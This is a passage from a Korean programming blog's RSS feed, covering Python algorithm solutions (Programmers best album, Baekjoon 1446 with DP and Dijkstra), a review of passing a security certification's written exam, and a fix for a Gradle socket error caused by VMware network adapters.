        per_gen[genre].sort(key=lambda x: (-x[1], x[0]))  # 4)
        
    for g in gen:
        twice = 0
        n = len(per_gen[g[0]])
        while twice&amp;lt;2 and twice&amp;lt;n:   # 5)
            answer.append(per_gen[g[0]][twice][0])
            twice += 1  
    return answer&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;최적화 후 코드(GPT)&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773903576132&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from collections import defaultdict

def solution(genres, plays):
    answer = []
    gen = defaultdict(int)
    per_gen = defaultdict(list)

    for i, (genre, play) in enumerate(zip(genres, plays)):
        gen[genre] += play
        per_gen[genre].append((i, play))

    gen = sorted(gen.items(), key=lambda x: -x[1])

    for genre in per_gen:
        per_gen[genre].sort(key=lambda x: (-x[1], x[0]))

    for genre, _ in gen:  #구조분해
        for idx, _ in per_gen[genre][:2]: #슬라이싱 활용
            answer.append(idx)

    return answer&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파이썬의 zip, enumerate 기능을 잘 활용해보자!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;## zip&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;같은 인덱스끼리 묶으면서, 더 짧은 쪽 기준으로 잘림&lt;/p&gt;
&lt;pre id=&quot;code_1773904345791&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;genres = [&quot;classic&quot;, &quot;pop&quot;]
plays = [500, 600]

zip(genres, plays)

#(&quot;classic&quot;, 500)
#(&quot;pop&quot;, 600)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;nbsp;## enumerate&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인덱스 + 값, &lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;&amp;nbsp;in range(len())&amp;nbsp;&lt;/b&gt;&lt;/span&gt; 대체용&lt;/p&gt;
&lt;pre id=&quot;code_1773904575208&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;arr = [&quot;a&quot;, &quot;b&quot;, &quot;c&quot;]

for i, v in enumerate(arr):
    print(i, v)
    
# 0 a
# 1 b
# 2 c&lt;/code&gt;&lt;/pre&gt;</description>
      <category>IT/알고리즘</category>
      <category>Python</category>
      <category>베스트앨범</category>
      <category>파이썬</category>
      <category>프로그래머스</category>
      <author>와잉</author>
      <guid isPermaLink="true">https://intioib.tistory.com/22</guid>
      <comments>https://intioib.tistory.com/22#entry22comment</comments>
      <pubDate>Thu, 19 Mar 2026 16:16:59 +0900</pubDate>
    </item>
    <item>
      <title>2026 1회차 정보보안기사 필기 합격 후기</title>
      <link>https://intioib.tistory.com/21</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;예전부터 취득하고 싶었던 정보보안기사 필기 시험에 합격을 했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;물론 실기도 통과를 해야되고 실기 난이도가 어려운만큼 가채점 이후에 계속 공부를 하고 있는데 부족한 점이 너무 많이 느껴진다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;후기를 작성해본다면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 접수는 Q-Net이 아닌 KCA이다. 정보처리기사처럼 큐넷인 줄 알고 갔다가 접수를 못 할 뻔 했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.cq.or.kr/main.do&quot;&gt;https://www.cq.or.kr/main.do&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1773119500319&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;KCA 국가기술자격검정&quot; data-og-description=&quot;&quot; data-og-host=&quot;www.cq.or.kr&quot; data-og-source-url=&quot;https://www.cq.or.kr/main.do&quot; data-og-url=&quot;https://www.cq.or.kr/main.do&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://www.cq.or.kr/main.do&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://www.cq.or.kr/main.do&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;KCA 국가기술자격검정&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.cq.or.kr&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #444444; letter-spacing: 0px;&quot;&gt;시험은 &lt;/span&gt;&lt;span style=&quot;color: #444444; letter-spacing: 0px;&quot;&gt;CBT 마포구(북서울본부)에서 봤는데 대기실과 개인 사물함이 있어서 좋았다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #444444; letter-spacing: 0px;&quot;&gt;그리고 시험장에 노트패드(?)가 있어서 필기를 할 때 도움이 됐다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #444444; letter-spacing: 0px;&quot;&gt;점수는 운좋게 딱 턱걸이로 60점이 나왔다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #444444; letter-spacing: 0px;&quot;&gt;가채점 점수라서 혹시나 떨어지는게 아닌가 걱정했는데 다행히도 똑같은 결과가 나왔다.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1030&quot; data-origin-height=&quot;246&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d1M10r/dJMcaaR4Rxj/c9JmSw0sBmfqBKwiiftBlK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d1M10r/dJMcaaR4Rxj/c9JmSw0sBmfqBKwiiftBlK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d1M10r/dJMcaaR4Rxj/c9JmSw0sBmfqBKwiiftBlK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd1M10r%2FdJMcaaR4Rxj%2Fc9JmSw0sBmfqBKwiiftBlK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;680&quot; height=&quot;162&quot; data-origin-width=&quot;1030&quot; data-origin-height=&quot;246&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;공부 방법&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #444444; letter-spacing: 0px;&quot;&gt;일단 [&lt;u&gt;이기적 올인원&lt;/u&gt; 1회독 + &lt;span style=&quot;color: #444444; text-align: start;&quot;&gt;수제비 유튜브&lt;/span&gt;&amp;nbsp; + 필기 기출]을 좀 풀고 갔지만, 풀어봤던 기출 중에서 겹치는 문제가 거의 없었다. 처음 보는 용어들도 많아서 보안의 영역이 참 넓다는 생각이 들었다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #444444; letter-spacing: 0px;&quot;&gt;실기는 진짜 필기의 4배는 더 공부해야 될 것 같다. ㅎ&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;응시자격서류 제출&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;KCA 홈페이지에 &lt;u&gt;&lt;i&gt;자격검증 &amp;gt; 합격자 발표 &amp;gt; 응시자격서류관리&lt;/i&gt; &lt;/u&gt;로 들어가면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아 참고로 응시 자격 서류는 2년 전에 발급받은 졸업 증명서를 제출했는데 서류가 오래되서 최근걸로 다시 제출해달라는 연락이 와서 다시 발급 받아 제출했다.&lt;/p&gt;</description>
      <category>IT/자격증</category>
      <category>자격증</category>
      <category>정보보안기사</category>
      <category>정보보안기사필기</category>
      <category>필기</category>
      <author>와잉</author>
      <guid isPermaLink="true">https://intioib.tistory.com/21</guid>
      <comments>https://intioib.tistory.com/21#entry21comment</comments>
      <pubDate>Fri, 13 Mar 2026 10:06:03 +0900</pubDate>
    </item>
    <item>
      <title>[Error] java.net.SocketException: Bad address: listen</title>
      <link>https://intioib.tistory.com/20</link>
      <description>&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;i&gt;&lt;u&gt;&lt;b&gt;Caused by: java.net.SocketException: Bad address: listen&lt;/b&gt;&lt;/u&gt;&lt;/i&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;631&quot; data-origin-height=&quot;357&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cVxZcE/dJMcacbeEYq/nCd9WfiadnjrIJ4kSc8ou1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cVxZcE/dJMcacbeEYq/nCd9WfiadnjrIJ4kSc8ou1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cVxZcE/dJMcacbeEYq/nCd9WfiadnjrIJ4kSc8ou1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcVxZcE%2FdJMcacbeEYq%2FnCd9WfiadnjrIJ4kSc8ou1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;504&quot; height=&quot;285&quot; data-origin-width=&quot;631&quot; data-origin-height=&quot;357&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;!!!!!!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Spring 관련 프로젝트를&amp;nbsp; 진행하려는데 몇 달 전부터 간헐적으로 해당 오류가 발생해 의욕을 잃고 넘어간 적이 많았다. . ...&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;400&quot; data-origin-height=&quot;308&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b5HjXz/dJMcag5MDXb/QL0eyQJoLqcZkRkr8M4kXk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b5HjXz/dJMcag5MDXb/QL0eyQJoLqcZkRkr8M4kXk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b5HjXz/dJMcag5MDXb/QL0eyQJoLqcZkRkr8M4kXk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb5HjXz%2FdJMcag5MDXb%2FQL0eyQJoLqcZkRkr8M4kXk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;320&quot; height=&quot;246&quot; data-origin-width=&quot;400&quot; data-origin-height=&quot;308&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;근데 드디어 문제를 해결했다...!!! Gradle 데몬 죽이기, 캐시 초기화, hosts 파일 수정, 데몬 비활성화 다 아니었고&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;827&quot; data-origin-height=&quot;297&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sw8Mt/dJMcabQU2db/xmN6J9ei6XmHW2F8kWKKS1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sw8Mt/dJMcabQU2db/xmN6J9ei6XmHW2F8kWKKS1/img.png&quot; data-alt=&quot;다 있음ㅎ&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sw8Mt/dJMcabQU2db/xmN6J9ei6XmHW2F8kWKKS1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fsw8Mt%2FdJMcabQU2db%2FxmN6J9ei6XmHW2F8kWKKS1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;562&quot; height=&quot;202&quot; data-origin-width=&quot;827&quot; data-origin-height=&quot;297&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;다 있음ㅎ&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;VMware 때문이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실 이전에 VMware가 있을 때 문제가 없었어서 원인이 아닐 줄 알았는데 ....지피티 말로는 VMware 설치만 하고 안쓰거나 최근에 네트워크 상태나 JVM 환경이 조금만 바뀌어도 갑자기 오류가 나타날 수 있다고 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;GPT&lt;/b&gt;가 알려준 해결 방법 중 나는 &lt;b&gt;2번 방법&lt;/b&gt; 가상 네트워크 비활성화를 시켜줬다.&lt;/p&gt;
&lt;h3 data-end=&quot;824&quot; data-start=&quot;809&quot; data-section-id=&quot;1tfaown&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;해결 방법 (추천 순서)&lt;/b&gt;&lt;/h3&gt;
&lt;h4 data-end=&quot;852&quot; data-start=&quot;826&quot; data-section-id=&quot;1qsbfrn&quot; data-ke-size=&quot;size20&quot;&gt;1️⃣ JVM을 IPv4만 사용하게 만들기&lt;/h4&gt;
&lt;p data-end=&quot;861&quot; data-start=&quot;853&quot; data-ke-size=&quot;size16&quot;&gt;프로젝트 루트에&lt;/p&gt;
&lt;pre id=&quot;code_1773147582838&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;gradle.properties&lt;/code&gt;&lt;/pre&gt;
&lt;div&gt;
&lt;div&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;내용 추가&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;pre id=&quot;code_1773147621995&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;org.gradle.jvmargs=-Djava.net.preferIPv4Stack=true&lt;/code&gt;&lt;/pre&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div id=&quot;code-block-viewer&quot;&gt;
&lt;div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;이게 &lt;/span&gt;&lt;b&gt;가장 효과적인 해결 방법&lt;/b&gt;&lt;span style=&quot;letter-spacing: 0px;&quot;&gt;입니다.&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-end=&quot;983&quot; data-start=&quot;980&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h4 data-end=&quot;1015&quot; data-start=&quot;985&quot; data-section-id=&quot;4zt8p2&quot; data-ke-size=&quot;size20&quot;&gt;2️⃣ &lt;b&gt;사용 안 하는 가상 네트워크 잠시 비활성화&lt;/b&gt;&lt;/h4&gt;
&lt;p data-end=&quot;1024&quot; data-start=&quot;1017&quot; data-ke-size=&quot;size16&quot;&gt;Windows 기준&lt;/p&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;div id=&quot;code-block-viewer&quot;&gt;
&lt;div&gt;
&lt;div&gt;&lt;b&gt;&lt;span&gt;제어판&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span&gt;&amp;rarr; 네트워크 상태 및 작업 보기&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;&lt;b&gt; &amp;rarr; 어댑터 설정 변경 &lt;/b&gt;(나는 VMware Network Adapter VMnet1, VMnet8이 활성화되어 있었다.)&lt;br /&gt;&lt;b&gt;&lt;span&gt;&amp;rarr; 사용 안함&lt;/span&gt;&lt;/b&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;VMware Network Adapter&lt;/span&gt;&amp;nbsp;비활성화)&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p data-end=&quot;1071&quot; data-start=&quot;1070&quot; data-ke-size=&quot;size16&quot;&gt;예)&lt;/p&gt;
&lt;pre id=&quot;code_1773148660850&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;- VirtualBox Host Only
- VMware VMnet1&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시 빌드를 해주면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #5c962c;&quot;&gt;&lt;b&gt;BUILD SUCCESSFUL&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;cs 공부 열심히 하자&lt;/span&gt;&lt;/p&gt;
&lt;hr data-start=&quot;980&quot; data-end=&quot;983&quot; data-ke-style=&quot;style1&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;정리&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;&lt;b&gt;로그 원인&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;- 로컬 네트워크 설정이나 환경 변수에 문제가 생겨서 포트를 바인딩(bind)하지 못한 상태&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773147999597&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Gradle daemon이 TCP 서버를 만들 때
listen 단계에서 네트워크 주소 오류 발생

-- TCP 서버 동작 순서
1. socket()   &amp;rarr; 소켓 생성
2. bind()     &amp;rarr; IP + 포트 지정
3. listen()   &amp;rarr; 연결 대기 상태
4. accept()   &amp;rarr; 클라이언트 연결 수락&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;내 원인&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- VMware Network Adapter (VMnet1, VMnet8)의 상태 문제&lt;/p&gt;
&lt;pre id=&quot;code_1773148289108&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;JVM이 잘못된 네트워크 인터페이스 선택&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;해결방법&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 문제를 발생시키는 네트워크 어댑터 비활성화&lt;/p&gt;
&lt;pre id=&quot;code_1773148258855&quot; class=&quot;shell&quot; data-ke-language=&quot;shell&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;JVM이 선택할 네트워크 인터페이스 목록에서 제거&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>IT/개발</category>
      <category>error</category>
      <category>socket</category>
      <author>와잉</author>
      <guid isPermaLink="true">https://intioib.tistory.com/20</guid>
      <comments>https://intioib.tistory.com/20#entry20comment</comments>
      <pubDate>Tue, 10 Mar 2026 22:18:42 +0900</pubDate>
    </item>
    <item>
      <title>[백준 Python] 1446번 지름길</title>
      <link>https://intioib.tistory.com/19</link>
      <description>&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #222222; text-align: start;&quot;&gt;백준 파이썬 1446번 지름길&lt;/span&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #1a5490;&quot;&gt;&lt;b&gt;&lt;span style=&quot;text-align: start;&quot;&gt;Silver 1&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size14&quot;&gt;&lt;span style=&quot;color: #1a5490;&quot;&gt;&lt;span style=&quot;text-align: start;&quot;&gt;&lt;a href=&quot;https://www.acmicpc.net/problem/1446&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://www.acmicpc.net/problem/1446&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1315&quot; data-origin-height=&quot;806&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ISX4Z/dJMb9dApNiY/4u1CFXkYZmMGKDkMVdAnPk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ISX4Z/dJMb9dApNiY/4u1CFXkYZmMGKDkMVdAnPk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ISX4Z/dJMb9dApNiY/4u1CFXkYZmMGKDkMVdAnPk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FISX4Z%2FdJMb9dApNiY%2F4u1CFXkYZmMGKDkMVdAnPk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1315&quot; height=&quot;806&quot; data-origin-width=&quot;1315&quot; data-origin-height=&quot;806&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;dp, &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;다익스트라 &lt;/span&gt;두가지 유형으로 풀 수 있는 문제이다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1️⃣ &lt;b&gt;DP&lt;/b&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1760666179961&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import sys
input = sys.stdin.readline
n, d = map(int, input().split())
graph = []
dp = [i for i in range(d+1)]
for _ in range(n):
    start, end, dist = map(int, input().split())
    #제외 조건
    if end &amp;gt; d: continue #고속도로 역주행 불가
    if end-start &amp;lt; dist: continue #지름길의 길이가 긴 경우
    graph.append((start, end, dist))
#start 기준으로 정렬을 시켜 dp[start]가 최소 거리로 갱신될 수 있게 해준다.
graph.sort()
for i in range(d+1):
    if i &amp;gt; 0:
        dp[i] = min(dp[i], dp[i-1]+1) #고속도로
    for start, end, dist in graph:
        if start == i:
            dp[end] = min(dp[end], dp[start]+dist) #지름길 이용
print(dp[d])&lt;/code&gt;&lt;/pre&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;2️⃣ &lt;b&gt;다익스트라&lt;/b&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1760666433157&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import sys, heapq
input = sys.stdin.readline
n, d = map(int, input().split())
graph = {i:[] for i in range(d+1)}
for i in range(d):
    graph[i].append((i+1, 1)) #end, cost 고속도로 이용
for _ in range(n):
    start, end, dist = map(int, input().split())
    #제외 조건
    if end &amp;gt; d: continue
    if end-start &amp;lt; dist: continue
    graph[start].append((end, dist))
distance = [float('inf')] * (d + 1)
distance[0] = 0
heap = [(0, 0)]
while heap:
    dist, now = heapq.heappop(heap)
    if distance[now] &amp;lt; dist: continue
    for nxt, cost in graph[now]:
        new_dist = cost + dist
        if new_dist &amp;lt; distance[nxt]: #새로운 경로의 dist가 더 작은 경우
            distance[nxt] = new_dist
            heapq.heappush(heap,(new_dist, nxt))
print(distance[d])&lt;/code&gt;&lt;/pre&gt;</description>
      <category>IT/알고리즘</category>
      <category>Dijkstra</category>
      <category>DP</category>
      <category>다이나믹프로그래밍</category>
      <category>다익스트라</category>
      <category>백준</category>
      <category>지름길</category>
      <author>와잉</author>
      <guid isPermaLink="true">https://intioib.tistory.com/19</guid>
      <comments>https://intioib.tistory.com/19#entry19comment</comments>
      <pubDate>Fri, 17 Oct 2025 11:01:54 +0900</pubDate>
    </item>
    <item>
      <title>[알고리즘] 위상정렬</title>
      <link>https://intioib.tistory.com/18</link>
